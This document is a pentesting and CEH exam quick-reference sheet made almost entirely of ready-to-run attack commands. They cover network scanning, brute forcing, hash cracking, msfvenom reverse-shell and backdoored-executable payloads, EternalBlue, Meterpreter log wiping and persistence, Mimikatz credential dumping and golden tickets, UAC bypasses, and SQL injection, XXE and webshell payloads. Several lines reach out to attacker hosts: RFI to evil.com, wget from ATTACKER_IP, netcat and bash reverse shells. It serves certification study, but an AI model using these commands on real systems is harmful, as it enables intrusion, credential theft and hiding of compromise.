CEH / Pentesting Quick Reference Sheet
Domain 1: Network Scanning & Enumeration
Nmap — Host Discovery
nmap -sn 192.168.1.0/24 # Ping scan (find live hosts)
nmap -sP 10.10.55.0/24 # ARP ping (local network)
nmap -sS -P 10.10.55.0/24 # TCP SYN ping (ICMP blocked)
nmap -sU -P 10.10.55.0/24 # UDP ping
Nmap — Port Scanning
nmap -sT -v 192.168.1.5 # TCP connect scan (full handshake)
nmap -sS -v 192.168.1.5 # TCP SYN scan (stealthy, half-open)
nmap -sU -v 192.168.1.5 # UDP scan
nmap -p 22,80,443 192.168.1.5 # Specific ports (NO spaces in list)
nmap -p 1-1000 192.168.1.5 # Port range
nmap -p- 192.168.1.5 # All 65535 ports
nmap -F 192.168.1.5 # Fast scan (top 100)
nmap -A -T4 192.168.1.5 # Aggressive (OS + version + scripts)
nmap --open 192.168.1.5 # Show only open ports
nmap -sS -p 1-1024 -T4 example.com # SYN scan with timing
Nmap — Version / OS / Scripts
nmap -sV 192.168.1.5 # Service version detection
nmap -O 192.168.1.5 # OS detection
nmap -sC 192.168.1.5 # Default script scan
nmap -A -T4 -p- 192.168.1.5 # Comprehensive (gold-standard recon)
Nmap — Flags Reference
-sC Default script scanning
-sV Service version detection
-A OS detection, version detection, script scanning, traceroute
-p Specify ports (e.g., -p 80,443 or -p- for all ports)
-O OS detection
-sT Full TCP connect scan
-sP No-port ping scan
-sS Stealth SYN scan
-sN Null scan (no flags set; bypasses some firewalls)
-sn Host discovery only (no port scan)
-Pn Disable host discovery
-vv Increased verbosity
-oN Save output (normal format)
-T4 Timing template (T0 slow – T5 fast)
Nmap — SMB Scripts
nmap --script smb-os-discovery.nse -p445 192.168.1.5 # OS/domain/workgroup
nmap --script smb-enum-users.nse -p445 192.168.1.5 # Enumerate users
nmap -p445 --script=smb-enum-shares.nse 192.168.1.5 # Enumerate shares
Nmap — SNMP
nmap -sU -p 161 --script snmp-processes.nse 192.168.1.5 # SNMP running processes
Nmap — Active Directory / Domain Controller
nmap -p 88,389,636,3268 192.168.0.0/24 # Find DC (Kerberos/LDAP/GC ports)
nmap -sC 192.168.0.X --top-ports=20 # NetBIOS name + FQDN
nmap -p 389 --script ldap-rootdse 192.168.0.X # Domain naming context / FQDN
nmap -p 88 --script krb5-enum-users 192.168.0.X # Kerberos realm
nmap -sU -p 137 --script nbstat 192.168.0.X # NetBIOS name table
nmap --script=ldap-search 192.168.0.X # LDAP enumeration
Nmap — Vulnerability Scripts
nmap -p445 --script smb-vuln-ms17-010 192.168.1.5 # Confirm MS17-010 vulnerable
nmap --script vuln 192.168.0.X # General vuln scan
nmap --script=ftp-* 192.168.0.X -p 21 # FTP-specific checks
nmap --script=smb-* 192.168.0.X -p 445 # SMB-specific checks
Nmap — Service-Specific Scans
nmap -p 22 192.168.0.0/24 -sV # SSH version
nmap -p 21 192.168.0.0/24 --open # FTP service
nmap -p 3306 192.168.0.0/24 --open # MySQL service
nmap -p 3389 192.168.0.0/24 --open # RDP service
nmap -p 80,443,8080 192.168.0.0/24 --open # Web services
Other Discovery Tools
netdiscover -i eth0 -r 192.168.1.0/24 # ARP-based host discovery
rustscan -a 192.168.1.0/24 # Fast Nmap alternative
SMB Enumeration
smbclient -L 192.168.1.5 # List shares
smbclient //192.168.1.5/Documents # Access share
smbclient //192.168.1.5/Documents -U admin%password123 # Access with creds
smbget -R smb://192.168.1.5/Documents # Recursively download share
enum4linux -a 192.168.1.5 # All info
enum4linux -U 192.168.1.5 # Users only
enum4linux -S 192.168.1.5 # Shares only
enum4linux -G 192.168.1.5 # Groups
enum4linux -P 192.168.1.5 # Password policy
enum4linux -u admin -p password123 -a 192.168.1.5 # With credentials
SNMP Enumeration
snmp-check 192.168.1.5 # SNMP enumeration
onesixtyone 192.168.1.0/24 # SNMP host discovery
snmpwalk -v2c -c public 192.168.1.1 # Query SNMP devices
# Common community strings: public (RO), private (RW), community, manager
DNS Reconnaissance
nslookup target.com # Basic DNS lookup
nslookup 192.168.1.5 # Reverse lookup (IP → hostname)
nslookup -type=ANY example.com # All records
dig target.com # Detailed DNS lookup
dig target.com ANY # All records
dig example.com ANY +noall +answer # Detailed lookup, clean output
dig @ns1.target.com target.com axfr # Zone transfer (if misconfigured)
dnsrecon -d example.com # DNS record enumeration
OSINT / Passive Recon
whois example.com # Domain registration info
theharvester -d example.com -b google # Emails, hosts, subdomains
shodan search apache port:80 country:US # Exposed devices/services
sublist3r -d [DOMAIN] # Subdomain enumeration
sublist3r -d [DOMAIN] -o [OUTPUT_FILE] # Save results
sublist3r -v -d [DOMAIN] # Verbose output
Pro tip: Know the difference between passive and active reconnaissance commands.
Domain 2: System Hacking & Privilege Escalation
Hydra — Brute Force
hydra -l Administrator -P rockyou.txt rdp://192.168.1.50 # RDP, single user
hydra -l admin -P password_list.txt rdp://192.168.1.50:3389 # RDP, custom port
hydra -L usernames.txt -P passwords.txt rdp://192.168.1.5 # Multiple usernames
hydra -l admin -P passwords.txt rdp://192.168.1.5 -v # Verbose
hydra -l admin -P passwords.txt rdp://192.168.1.5 -f # Stop after first hit
hydra -l root -P rockyou.txt ssh://192.168.1.5 # SSH
hydra -l admin -P rockyou.txt ftp://192.168.1.5 # FTP
hydra -l root -P rockyou.txt mysql://192.168.1.5:3306 # MySQL
hydra -l admin -P rockyou.txt http-post-form://192.168.1.5:80/login.php:username=^USER^&password=^PASS^ # HTTP POST
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.56.169 -V http-form-post "/login:username=^USER^&password=^PASS^:F=incorrect"
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt http-get://enum.thm/labs/basic_auth/ -V
hydra -L users.txt -P passwords.txt ftp://192.168.0.X # FTP, user list
Hash Identification
hashid hash_value # Identify hash type
hashid -e hash_value # Also show matching Hashcat mode / extended
Hashcat — GPU Hash Cracking
hashcat -m 0 -a 0 hashfile rockyou.txt # MD5
hashcat -m 100 -a 0 hashfile rockyou.txt # SHA1
hashcat -m 1400 -a 0 hashfile rockyou.txt # SHA256
hashcat -m 1000 -a 0 hashfile rockyou.txt # NTLM
hashcat -m 3200 -a 0 hashfile rockyou.txt # bcrypt
hashcat -m 0 hashfile rockyou.txt --show # Show cracked
hashcat -m 2500 [CAPTURE_FILE] [WORDLIST] # WPA2
John the Ripper
john hashes.txt --wordlist=rockyou.txt # Auto-detect
john --format=NT ntlm_hashes.txt --wordlist=rockyou.txt # NTLM
john --format=sha512crypt --wordlist=rockyou.txt hashes.txt # SHA-512 crypt
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt # Raw MD5
john --show hashes.txt # Show cracked
john --incremental hashes.txt # Brute-force mode
Online resources: crackstation.net, hashes.com/en/decrypt/hash
msfvenom — Payload Generation
# Windows reverse shell (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > backdoor.exe
# Linux reverse shell (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > linux_shell
# Windows batch
msfvenom -p windows/cmd/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f bat > shell.bat
# DLL payload (service DLL hijack)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll > evil.dll
# With encoder (AV evasion, 5 iterations)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > obfuscated.exe
# MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
# Backdoor an existing EXE
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
msfconsole — Handler & Exploits
msfconsole
use exploit/multi/handler # Listener for reverse shell
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run
# Exploit search
search type:exploit platform:windows smb
search type:exploit eternalblue
# EternalBlue (MS17-010) → lands as NT AUTHORITY\SYSTEM
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
run
# Other common exploits
use exploit/linux/samba/is_known_pipename
use exploit/ssh/libssh_auth_bypass
# WordPress login brute force
use auxiliary/scanner/http/wordpress_login_enum
set RHOSTS 192.168.0.X
set USERNAME Sarah
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
show options # View settings
show targets # View targets
show payloads # List payloads
check # Test if target vulnerable
exploit # Run exploit
Meterpreter — Session & Recon
sessions -l # List sessions
sessions -i 1 # Interact with session 1
background # Background current session
jobs -l # List jobs
getuid # Current user
sysinfo # System info
ipconfig # Network config
ps # List processes
kill PID # Kill process
pwd # Current directory
ls # List files
download file.txt /tmp/ # Download file
upload /tmp/evil.exe c:\windows\temp\ # Upload file
execute -f cmd.exe -i # Interactive shell
reg query HKLM\Software\Microsoft\Windows\Run # Query registry
Meterpreter — Core Post-Exploitation Path
getuid # Who am I?
getsystem # Auto-escalate to SYSTEM
hashdump # Dump SAM (NTLM hashes) — needs SYSTEM
run persistence -X -i 30 -p 4444 -r 192.168.1.100 # Persistence backdoor
clearev # Wipe Windows event logs
# If getsystem fails:
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Meterpreter — Post Modules & Kiwi (Mimikatz)
use post/windows/gather/hashdump
use post/windows/escalate/getsystem
use post/windows/gather/credentials/credential_collector
use post/windows/manage/enable_rdp
# Kiwi (in-session Mimikatz)
load kiwi
creds_all # All cached creds
lsa_dump_sam # SAM hashes
lsa_dump_secrets # LSA secrets
Mimikatz — Credential Harvesting
mimikatz.exe
privilege::debug # Enable debug privileges (required)
lsadump::sam # Dump SAM hashes (local accounts)
lsadump::lsa /inject # Dump LSA secrets
lsadump::lsa /patch
sekurlsa::logonpasswords # Dump plaintext logon passwords
sekurlsa::msv # Extract NTLM hashes
token::list # List tokens
token::impersonate /user:DOMAIN\Administrator # Impersonate token
kerberos::list # List Kerberos tickets
kerberos::ptt /ticket:ticket.kirbi # Pass-the-Ticket
lsadump::dcsync /user:DOMAIN\Administrator # DCSync (needs high priv)
lsadump::dcsync /user:DOMAIN\krbtgt # Get krbtgt hash for Golden Ticket
# Golden Ticket
token::elevate
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:hash /ptt
# Silver Ticket (service-specific)
kerberos::silver /user:Administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /service:CIFS /server:DC01 /rc4:SERVICE_HASH /ptt
Windows Privilege Escalation
# Unquoted service paths
wmic service list brief | findstr /i "auto"
Get-WmiObject win32_service | Select Name,PathName | Where {$_.PathName -notlike '"*' -and $_.PathName -notlike "C:\Windows*"}
shutdown /r /t 0 # Reboot to trigger
# Weak service DACL
accesschk.exe -uwcqv "Authenticated Users" "C:\Program Files\*"
sc qc ServiceName # Query service config
sc config VulnerableService binPath= "C:\path\to\malware.exe" # Hijack binary
net stop VulnerableService && net start VulnerableService
# UAC bypass — FodHelper (Win 10+)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d ""
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\path\to\malware.exe" /f
fodhelper.exe
# UAC bypass — EventViewer
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\path\to\malware.exe" /f
eventvwr.exe
# Kernel exploit recon
systeminfo
wmic qfe list brief | find "KB" # Common: MS16-032, MS17-010, CVE-2019-1385
wmic qfe list # Installed patches
# Service permissions
accesschk.exe -uwcqv "Authenticated Users" *
sc qc WindowsScheduler # Insecure service permissions
icacls C:\PROGRA~2\SYSTEM~1\WService.exe
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
move WService.exe WService.exe.bkp
move rev-svc.exe WService.exe
# Scheduled task exploitation
schtasks /query /tn vulntask /fo list /v
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\tasktorun.bat
schtasks /run /tn vulntask
# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
# Credential files to check
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# Saved credentials
cmdkey /list
runas /savecred /user:admin cmd.exe
# IIS config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
# PuTTY credentials
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Other references: WinPEAS, PrivescCheck, WES-NG (Windows Exploit Suggester). Focus on SeImpersonatePrivilege and other dangerous privileges (see Priv2Admin).
Linux Privilege Escalation
sudo -l # Check sudo permissions
ls -l /etc/passwd /etc/shadow # Check readable/writable files
find / -perm -4000 2>/dev/null # SUID files
find / -type f -perm -04000 -ls 2>/dev/null # SUID/SGID files
getcap -r / 2>/dev/null # Files with capabilities
cat /etc/crontab # Check cronjobs
bash -i >& /dev/tcp/<your_ip>/<port> 0>&1 # Reverse shell for cronjob
uname -a # Kernel version
searchsploit kernel_version # Search for kernel exploits
References: LinPEAS, LinEnum. Also check PATH misconfiguration and NFS share misconfigurations.
Windows Persistence
# Registry run keys
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "UpdateService" /t REG_SZ /d "C:\windows\temp\malware.exe"
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /v "Service" /t REG_SZ /d "C:\windows\temp\malware.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "UserApp" /t REG_SZ /d "C:\users\username\appdata\malware.exe"
# Scheduled tasks
schtasks /create /tn "SystemUpdate" /tr "C:\path\to\malware.exe" /sc onlogon /ru System
schtasks /create /tn "Windows Maintenance" /tr "C:\windows\temp\payload.exe" /sc hourly
schtasks /create /tn "Service" /tr "C:\malware.exe" /sc onstart /ru System
schtasks /query /tn "SystemUpdate"
schtasks /delete /tn "SystemUpdate" /f
# Service install (SYSTEM)
sc create "UpdateService" binPath= "C:\windows\temp\malware.exe"
sc config "UpdateService" start= auto
net start "UpdateService"
sc delete "UpdateService"
# Startup folder
copy malware.exe "C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
copy malware.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
SMB — Weak Credential Access (in smbclient)
smbclient //192.168.1.5/Documents -U admin%password123
ls # List directory
get secret.txt # Download file
recurse ON # Recursive mode
mget * # Download all
Windows Enumeration
net user # List users
net user username # User details
net localgroup # Local groups
mstsc /v:192.168.0.X # RDP connection
Domain 3: Web Application Hacking
SQL Injection — Auth Bypass Payloads
admin' --
admin'--
admin' #
admin'/*
' OR '1'='1
' OR '1'='1' --
' OR 1=1 --
' OR 1=1#
') OR ('1'='1
" OR "1"="1
SQL Injection — Detection & UNION
-- Detect: break it, then boolean test
?id=1' -- error/blank = injectable
?id=1 AND 1=1 -- loads normal
?id=1 AND 1=2 -- breaks/empty
-- UNION-based
?id=1 ORDER BY 1-- -- increase until error = column count
?id=-1 UNION SELECT 1,2,3-- -- find echoed columns
?id=-1 UNION SELECT 1,version(),database()--
?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables--
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
?id=-1 UNION SELECT 1,concat(username,':',password),3 FROM users--
' UNION SELECT 1,2,3 --
SQL Injection — Error / Blind / Time-Based
-- Error-based (MySQL)
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--
?id=1 AND updatexml(1,concat(0x7e,(SELECT user())),1)--
' AND 1=CAST((SELECT table_name FROM information_schema.tables) AS INT) --
-- Boolean-blind
?id=1 AND SUBSTRING(database(),1,1)='a'--
?id=1 AND (SELECT LENGTH(database()))=4--
-- Time-based
?id=1 AND SLEEP(5)-- -- MySQL
?id=1 AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)-- -- MySQL leak
?id=1 AND IF(1=1,BENCHMARK(5000000,MD5('a')),0)-- -- MySQL alt
?id=1; SELECT pg_sleep(5)-- -- PostgreSQL
?id=1; WAITFOR DELAY '0:0:5'-- -- MSSQL
?id=1 AND 1=(dbms_pipe.receive_message('a',5))-- -- Oracle
sqlmap — Automation
sqlmap -u "http://192.168.1.5/page.php?id=1" --dbs # GET param
sqlmap -u "http://192.168.1.5/login.php" --data "user=admin&pass=test" --dbs # POST
sqlmap -r request.txt --dbs # From Burp request
sqlmap -u "http://192.168.1.5/page.php?id=1" --cookie="PHPSESSID=abc123" --dbs # With cookie
sqlmap -u "http://192.168.1.5/page.php?id=1" -D database_name --tables # List tables
sqlmap -u "http://192.168.1.5/page.php?id=1" -D database_name -T users --dump # Dump table
sqlmap -u "http://192.168.1.5/page.php?id=1" --current-db --dump --batch # Fast DB+creds
sqlmap -u "http://192.168.1.5/page.php?id=1" --current-user # Current DB user
sqlmap -u "http://192.168.1.5/page.php?id=1" --technique=T --dbms=mysql # Force time-based
sqlmap -u "http://192.168.1.5/page.php?id=1" --level=5 --risk=3 # Dig harder
sqlmap -u "http://192.168.1.5/page.php?id=1" --file-read="/etc/passwd" # Read file
sqlmap -u "http://192.168.1.5/page.php?id=1" --os-shell # OS shell
sqlmap -u "http://192.168.0.X/vuln.php?id=1" --batch # Basic, no prompts
sqlmap -u "http://192.168.0.X/vuln.php?id=1" --threads=10 --batch --dump --optimize # DSSS optimized
# Flags: --batch (no prompts), -p id (one param), --threads 5, --tamper=space2comment, --dump-all, --columns
Nikto — Web Scanner
nikto -h http://192.168.1.5 # Scan web server
nikto -h 192.168.1.5 -p 8080 # Non-standard port
nikto -h http://192.168.1.5 -o report.txt # Save report
Directory / File Brute-Forcing
robuster dir -u http://192.168.1.5 -w /usr/share/wordlists/dirb/common.txt # Built-in wordlist
robuster dir -u http://192.168.1.5 -w wordlist.txt # Custom wordlist
gobuster dir -u [URL] -w [WORDLIST] # Basic fuzzing
gobuster dir -u [URL] -w [WORDLIST] -x php,html # With extensions
gobuster dir -u https://[URL] -w [WORDLIST] -k # Ignore HTTPS errors
dirb http://example.com/ /usr/share/wordlists/dirb/common.txt # Dirb
ffuf (Parameter & Directory Fuzzing)
ffuf -w [WORDLIST] -u http://[TARGET]/FUZZ # Directory fuzzing
ffuf -w [WORDLIST] -u http://[TARGET]?FUZZ=test # Parameter fuzzing
ffuf -w [WORDLIST] -X POST -d "username=FUZZ&password=test" -u http://[TARGET]/login # POST fuzzing
WPScan — WordPress
wpscan --url http://target.com --enumerate u # Usernames
wpscan --url http://target.com --enumerate p # Plugins
wpscan --url http://target.com --enumerate t # Themes
wpscan --url http://target.com --enumerate all # Everything
wpscan --url http://target.com -U admin -P rockyou.txt # Brute-force login
wpscan --url http://192.168.0.X:8080/CEH -U Sarah -P rockyou.txt
wpscan --url [TARGET_URL] -e vp,vt,u,m,t,cb,dbe # Full enumeration
wpscan --url [TARGET_URL] -U [USER_LIST] -P [PASSWORD_LIST] --password-attack wp-login
wpscan --url blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login
wpscan --url [TARGET_URL] --password-attack xmlrpc # Brute force via XML-RPC
wpscan --api-token [API_KEY] --url [TARGET_URL] # Use WPScan API
curl — HTTP Requests
curl http://target.com # Basic request
curl -u user:pass http://target.com # Basic auth
curl -X POST -d "user=admin&pass=test" http://target.com # POST data
curl -b "session=12345" http://target.com # With cookie
curl -H "Authorization: Bearer token" http://target.com # Custom header
curl -I http://example.com # Headers only
Burp Suite — Workflow (GUI)
Proxy setup: Proxy tab → Intercept ON → browser proxy 127.0.0.1:8080
Intercept: Browse → submit → request pauses → edit params → Forward
Repeater: Right-click request → Send to Repeater → modify → Send
Tampering targets: price=100→1, user_id=5→1, discount=0→99, is_admin=false→true
OWASP ZAP
Automated scanning: Launch ZAP → Automated Scan → Enter target URL
Check Alerts tab for vulnerabilities
File Upload Bypass Payloads
# Extension manipulation
shell.php.jpg shell.php%20 shell.php%00.jpg
shell.phtml shell.php3 shell.php4 shell.php~
# Double extension
shell.php.jpg shell.jpg.php shell.php.txt
# Case variation
shell.PhP shell.pHp shell.PHP
# MIME manipulation: change Content-Type to image/jpeg with PHP bytes
# Magic bytes: prepend JPEG header FF D8 FF to PHP shell
<?php system($_GET['cmd']); ?>
XXE Injection
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
DVWA Modules
SQL Injection: admin'-- → Automate with sqlmap -u [TARGET_URL] --dbs
XSS Stored: <script>alert('XSS');</script>
XSS Reflected: insert script directly into URL parameters
File Upload: upload shell.php, access via target web directory
Command Injection: e.g. ; cat /etc/passwd in a vulnerable field
Weevely (Webshell Tool)
weevely generate password shell.php # Generate shell
weevely http://target.com/shell.php password # Connect to deployed shell
RFI / LFI
# RFI basic example
http://example.com/index.php?page=http://evil.com/shell.txt
http://target.com/index.php?page=http://attacker.com/shell.php
# LFI basic example
http://example.com/index.php?page=../../../../etc/passwd
# Null byte bypass
http://example.com/index.php?page=../../../../etc/passwd%00
Prevention: input validation, output encoding, realpath()/basename() in PHP.
Domain 4: Cryptography & Steganography
hashid
hashid hash_value # Guess hash type
hashid -e hash_value # Also show matching Hashcat mode
hashcat / john — Hash Cracking (by length)
hashcat -m 0 -a 0 hashfile rockyou.txt # MD5 (len 32)
hashcat -m 100 -a 0 hashfile rockyou.txt # SHA1 (len 40)
hashcat -m 1400 -a 0 hashfile rockyou.txt # SHA256 (len 64)
hashcat -m 1000 -a 0 hashfile rockyou.txt # NTLM (len 32)
hashcat -m 3200 -a 0 hashfile rockyou.txt # bcrypt (len 60)
john hashes.txt --wordlist=rockyou.txt # John wordlist
john --format=md5 hashes.txt --wordlist=rockyou.txt # John, specify format
john --show hashes.txt # Show cracked
steghide / stegcracker — Steganography
steghide info image.jpg # Check for hidden data
steghide extract -sf image.jpg # Extract (prompts passphrase)
steghide extract -sf image.jpg -p "" # Extract, no passphrase
steghide extract -sf image.jpg -xf output.txt -p "" # Extract to file
stegcracker image.jpg wordlist.txt # Crack passphrase
Snow (Whitespace Steganography)
snow -C -m "Your secret message" -p "password" input.txt output.txt # Hide message
snow -C -p "password" output.txt # Extract message
snow -C -p "magic" Secret-Accounts.txt # Example
# -C: compress message, -m: message to hide, -p: password
OpenStego (Image Steganography)
openstego -embed -mf secret.txt -cf cover.png -sf stego.png # Embed data
openstego -extract -sf stego.png -mf extracted.txt # Extract data
# -mf: message file, -cf: cover file, -sf: stego (output) file
PE File Analysis — DIE / strings / objdump / exiftool
DIE filename.exe # Detect It Easy (GUI)
detect-it-easy filename.exe # DIE command line
strings Ghostware.exe | grep -i version # Readable strings → version
strings Ghostware.exe | grep -E "(http|ftp|cmd|exec)" # URLs/commands
objdump -h Ghostware.exe # Section headers
objdump -x Ghostware.exe | grep -A 20 "Import" # Import table
objdump -s -j .rsrc executable.exe # Resources
exiftool Ghostware.exe # Metadata
exiftool Ghostware.exe | grep -i version # Version from metadata
# CFF Explorer (GUI): PE headers, imports/exports, .rsrc → Version Information
DIE detects file format (PE, ELF, Mach-O, etc.) and compilers/packers used — useful for malware analysis and reverse engineering.
VeraCrypt — Encrypted Volumes
veracrypt --mount /dev/sdb1 /mnt/encrypted --password=PASSWORD # Mount device
veracrypt --mount volume.hc /mnt/encrypted --password=test # Mount container
veracrypt --mount encrypted_volume.tc /mnt/secure # Mount volume
veracrypt -d /mnt/secure # Dismount volume
# GUI: Create Volume → Create encrypted file container → choose AES/SHA-256 → Mount with password
File / Text Decryption (CEH Lab GUI)
aescrypt -d -p qwerty secret.aes # AES Tool CLI equivalent (.aes file, pw qwerty)
# BCTextEncoder (GUI): paste encoded → Decode → password Pa$$w0rd → plaintext (e.g. IP)
# CrypTool (GUI): open .hex → Crypt/Decrypt → Symmetric → match algorithm (e.g. Twofish)
# Cryptool supports DES, RC4, Twofish, AES encryption/decryption and cryptanalysis
HashCalc / MD5 Calculator
HashCalc (GUI): input file/text → select hash function (MD5, SHA-1, SHA-256) → generate hash
MD5 Calculator (GUI): select file → computes MD5 hash
Use case: verify file integrity by comparing hash values
Domain 5: Mobile & IoT
ADB — Device Connection
adb devices # List devices
adb devices -l # With details
adb tcpip 5555 # Enable Wi-Fi debugging
adb connect 192.168.1.100:5555 # Connect over Wi-Fi
adb disconnect 192.168.1.100:5555 # Disconnect
adb reboot # Reboot (also: recovery, bootloader)
adb root # Restart adbd as root
adb shell whoami # Verify connection / user
ADB — Shell & Recon
adb shell # Open device shell
adb shell getprop ro.build.version.release # Android version
adb shell getprop ro.product.model # Device model
adb shell id # User ID & groups
adb shell pwd # Current dir
adb shell ps # Processes
adb shell netstat # Connections
adb shell ls /sdcard/ # List sdcard
adb shell ls /sdcard/DCIM/Camera/ # Camera photos
adb shell ls -la /data/data/ # App data folders
adb shell cat /proc/version # Kernel version
adb shell cat /etc/passwd # User accounts
find /sdcard -name "*.txt" # Find files
ADB — File Transfer & Packages
adb pull /sdcard/DCIM/Camera/image.jpg ./ # Pull file
adb pull /sdcard/DCIM/Camera/ ./photos/ # Pull directory
adb push file.apk /sdcard/ # Push file
adb shell rm /sdcard/file.txt # Remove file
adb install app.apk # Install APK
adb install -r app.apk # Reinstall (keep data)
adb uninstall com.example.app # Uninstall
adb shell pm list packages # List packages
adb shell pm list packages -3 # User-installed only
adb shell pm path com.example.app # Get APK path
ADB — App Interaction & Logcat
adb shell am start -n com.example.app/.MainActivity # Launch activity
adb shell dumpsys package com.example.app # App info
adb shell dumpsys package com.example.app | grep android.permission # Permissions
adb shell screencap /sdcard/screen.png # Screenshot
adb pull /sdcard/screen.png ./
adb shell input text "password" # Type text
adb shell input tap 500 1200 # Tap
adb shell input swipe 100 500 100 100 # Swipe
adb shell input keyevent 3 # HOME key
adb logcat # Live logs
adb logcat | grep com.example.app # Filter by app
adb logcat *:E # Errors only
adb logcat -c # Clear logs
adb logcat | grep -iE "(password|token|secret|key|auth)" # Hunt secrets
ADB — Sensitive Data Extraction
adb pull /data/data/com.example.app/databases/app.db ./ # Pull database
adb pull /data/data/com.example.app/shared_prefs/ ./ # Shared prefs
adb pull /data/data/com.example.app/cache/ ./ # Cache
adb shell ls -la /data/data/com.example.app/ # List private storage
sqlite3 — Database Analysis
sqlite3 app.db # Open database
.tables # List tables
.schema users # Show schema
SELECT * FROM users; # Query data
.exit # Exit
APK Static Analysis — apktool / jadx
apktool d app.apk -o app_src # Decompile resources + manifest (Smali)
apktool b app_src/ # Recompile
cat app_src/AndroidManifest.xml # Permissions/components
jadx -d app_out app.apk # Decompile DEX → Java
jadx-gui app.apk # GUI decompiler
aapt dump badging app.apk # APK metadata
grep -riE "password|api[_-]?key|secret|token|http://|https://" app_src/ app_out/ # Hunt secrets
cat app_src/res/values/strings.xml # Keys/endpoints often here
strings app.apk | grep -iE "password|api|http|admin|secret" # Strings from APK
MQTT — mosquitto
mosquitto_sub -h 192.168.1.50 -t "#" -v # Subscribe to ALL topics
mosquitto_sub -h 192.168.1.50 -t "home/sensors/temp" # Specific topic
mosquitto_pub -h 192.168.1.50 -t "home/lock" -m "unlock" # Publish command
mosquitto_sub -h 192.168.1.50 -u admin -P password -t "#" -v # With credentials
Firmware — binwalk
binwalk firmware.bin # Inspect image
binwalk -e firmware.bin # Extract filesystem
grep -riE "password|admin|root|key" _firmware.bin.extracted/ # Grep extracted
strings firmware.bin | grep -iE "password|http|admin" # Readable strings
IoT Discovery — Shodan Filters
port:1883 # Exposed MQTT brokers
product:"MQTT" # MQTT by banner
"default password" port:23 # Telnet devices with defaults
webcam city:"London" # Exposed webcams
# Default creds to try: admin:admin, root:root, admin:password
exiftool — Image Metadata
exiftool image.jpg # All metadata
exiftool image.jpg | grep -i "gps\|date" # GPS / timestamps
exiftool -a *.jpg > metadata.txt # Extract all metadata
File Analysis
file suspicious.elf # Check file type
ent file.elf # Calculate entropy
sha384sum file.elf # Hash calculation
Domain 6: Traffic Analysis
Wireshark — Display Filters
http # HTTP only
https or tls # HTTPS
ip.src == 192.168.1.5 # Source IP
ip.dst == 10.0.0.1 # Destination IP
ip.addr == 192.168.1.5 # Either src or dst
tcp.port == 80 # TCP port
udp.port == 53 # UDP port
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN-only (scan/flood)
tcp contains "admin" # TCP payload string
frame contains "password" # Whole-frame string
mqtt / ftp / dns / icmp / telnet # Protocol filters
arp # ARP attacks
http.request.method == "POST" # Login attempts (creds in body)
# Combine with && (and), || (or), ! (not)
Wireshark — Credentials Workflow
http.request.method == "POST" # Login attempts (creds in body)
http.authbasic # HTTP Basic Auth (base64 user:pass)
ftp.request.command == "USER" || ftp.request.command == "PASS" # FTP login
telnet # Telnet cleartext
tcp.port == 3306 # MySQL
# Then: Right-click → Follow → TCP Stream to read the conversation
# Basic Auth decode: echo dXNlcjpwYXNz | base64 -d
Wireshark — Follow / Export / Stats
Right-click packet → Follow → TCP/UDP/HTTP Stream # Read full conversation
File → Export Objects → HTTP # Pull transferred files
File → Open PCAP
Statistics → Protocol Hierarchy # Protocols in capture
Statistics → Conversations → IPv4 # Who talked to who
Statistics → Endpoints # Per-IP totals (find attacker)
